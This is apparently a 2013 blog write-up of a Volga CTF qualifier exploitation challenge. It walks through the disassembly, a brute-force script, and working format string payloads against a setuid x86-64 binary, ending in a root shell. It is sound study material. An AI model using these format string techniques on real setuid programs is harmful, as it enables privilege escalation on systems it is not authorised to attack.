Sunday, May 5, 2013

Volga CTF Quals 2013 - Exploitation 200

For this challenge we got a x86-64 setuid binary. I couldnt finish the challenge in time, during the contest. Here is a write up on solving the challenge. We have to exploit a format string vulnerability in the x86-64 ELF binary. This is what the binary does

[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning

Important section of the binary:
   0x0000000000400630 <+28>: nop     # while 1
   0x0000000000400631 <+29>: lea    rsi,[rbp-0x210]
   0x0000000000400638 <+36>: mov    eax,0x0
   0x000000000040063d <+41>: mov    edx,0x40    # 64
   0x0000000000400642 <+46>: mov    rdi,rsi
   0x0000000000400645 <+49>: mov    rcx,rdx
   0x0000000000400648 <+52>: rep stos QWORD PTR es:[rdi],rax  # initialize 512 bytes of memory [rbp-0x210] to NULL
   0x000000000040064b <+55>: mov    rax,QWORD PTR [rip+0x2009e6]  # 0x601038 ;stdin
   0x0000000000400652 <+62>: mov    rdx,rax
   0x0000000000400655 <+65>: lea    rax,[rbp-0x210]
   0x000000000040065c <+72>: mov    esi,0x1ff   
   0x0000000000400661 <+77>: mov    rdi,rax
   0x0000000000400664 <+80>: call   0x400510 <fgets@plt> # fgets([rbp-0x210], 511, stdin)
   0x0000000000400669 <+85>: lea    rax,[rbp-0x210]
   0x0000000000400670 <+92>: movzx  eax,BYTE PTR [rax]
   0x0000000000400673 <+95>: test   al,al    
   0x0000000000400675 <+97>: jne    0x400681 <main+109>
   0x0000000000400677 <+99>: mov    edi,0xffffffff
   0x000000000040067c <+104>: call   0x400520 <exit@plt>
   0x0000000000400681 <+109>: lea    rax,[rbp-0x210]
   0x0000000000400688 <+116>: mov    rdi,rax
   0x000000000040068b <+119>: mov    eax,0x0
   0x0000000000400690 <+124>: call   0x4004f0 <printf@plt> # printf([rbp-0x210]) ; format string vulnerability
   0x0000000000400695 <+129>: mov    eax,DWORD PTR [rip+0x2009b5] # 0x601050 <cycle>==NULL
   0x000000000040069b <+135>: and    eax,0xffff      
   0x00000000004006a0 <+140>: mov    DWORD PTR [rbp-0x218],eax
   0x00000000004006a6 <+146>: mov    eax,DWORD PTR [rip+0x2009a4] # 0x601050 <cycle>
   0x00000000004006ac <+152>: shr    eax,0x10       
   0x00000000004006af <+155>: mov    DWORD PTR [rbp-0x214],eax
   0x00000000004006b5 <+161>: mov    eax,DWORD PTR [rbp-0x218]
   0x00000000004006bb <+167>: mov    edx,eax
   0x00000000004006bd <+169>: imul   edx,DWORD PTR [rbp-0x218]
   0x00000000004006c4 <+176>: mov    eax,DWORD PTR [rbp-0x214]
   0x00000000004006ca <+182>: imul   eax,DWORD PTR [rbp-0x214]
   0x00000000004006d1 <+189>: imul   eax,eax,0xffffffffffffffe3 
   0x00000000004006d4 <+192>: add    eax,edx
   0x00000000004006d6 <+194>: cmp    eax,0x1
   0x00000000004006d9 <+197>: jne    0x400630 <main+28> # else break
   0x00000000004006df <+203>: mov    edi,0x4007dc
   0x00000000004006e4 <+208>: call   0x4004e0 <system@plt>    # system("exec /bin/sh")
   0x00000000004006e9 <+213>: jmp    0x400630 <main+28>

To exploit the binary:

[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.

First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
#!/usr/bin/env python
# 200.py

for i in range(10000):
   val1 = i & 0xffff
   val2 = i >> 0x10
   edx = val1 * val1
   eax = val2 * val2
   eax = eax * -29
   eax = eax + edx
   if eax == 1 :
       print i
Now, we have to write 1 into the memory location 0x601050 (&cycle). Lets try this using format string vulnerability
renorobert@renorobert:~/Desktop$ echo -ne '%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx' | ./expl200
7f72ab59b000.7f72ab377ac0.7fffd2f54980.7871252e7871252e.0.7fffd2f54b30.1.2e7871252e787125.2e7871252e78712
We can reach our buffer containing format string in 8 QWORDs. There are few things that we should note

[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell

Now lets pass the address and try writing data into the location
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qxAA\x50\x10\x60' | ./expl200
|601050AAP `
"|%9$qxAA" is 8 bytes of data, byte aligned to QWORD. 9th QWORD has the adress of destination to overwrite
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ltrace -i ./expl200
[0x400559] __libc_start_main(0x400614, 1, 0x7fffaa066828, 0x4006f0, 0x400780 <unfinished ...>
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = 0x7fffaa066530
[0x400695] printf("|%9$qnAAP\020`", 0x7fcbe7f1e000)             = 6
[0x4006e9] system("exec /bin/sh" <unfinished ...>
[0x7fcbe79766e0] --- SIGCHLD (Child exited) ---
[0x4006e9] <... system resumed> )                               = 0
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = NULL
[0x400681] exit(-1|AAP ` <unfinished ...>
[0xffffffffffffffff] +++ exited (status 255) +++

renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' |  ./expl200
|AAP `
We have managed to execute system() function but there is no interactive shell. To overcome this, we will use cat command. fgets has to be terminated with newline '\n'
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60';cat) |  ./expl200

id
Segmentation fault
This is because, the newline 0x0a is written along with the address. So the address becomes 0x0a601050 instead of 0x601050. We will pad the address 0x601050 with 5 bytes of NUL to get a QWORD alignment. Now the new line 0x0a will be written into the 3rd QWORD.
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60\x00\x00\x00\x00\x00\n';cat) |  ./expl200 
id
uid=1000(renorobert) gid=1000(renorobert) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(renorobert)
We got a shell on the setuid root binary

2 comments :

  1. Hi Reno Robert,

    Could you please to share all binary of Volga CTF Exploitation challenges ? Thanks

    Best Regards,

    ReplyDelete
    Replies
    1. Hi VnSpl0it,

      I have only exploitation 100 and 200 with me :(
      http://www.mediafire.com/?f7tr2iqfmcy8ji8
      http://www.mediafire.com/?dtflkm8f38hfnxm

      Delete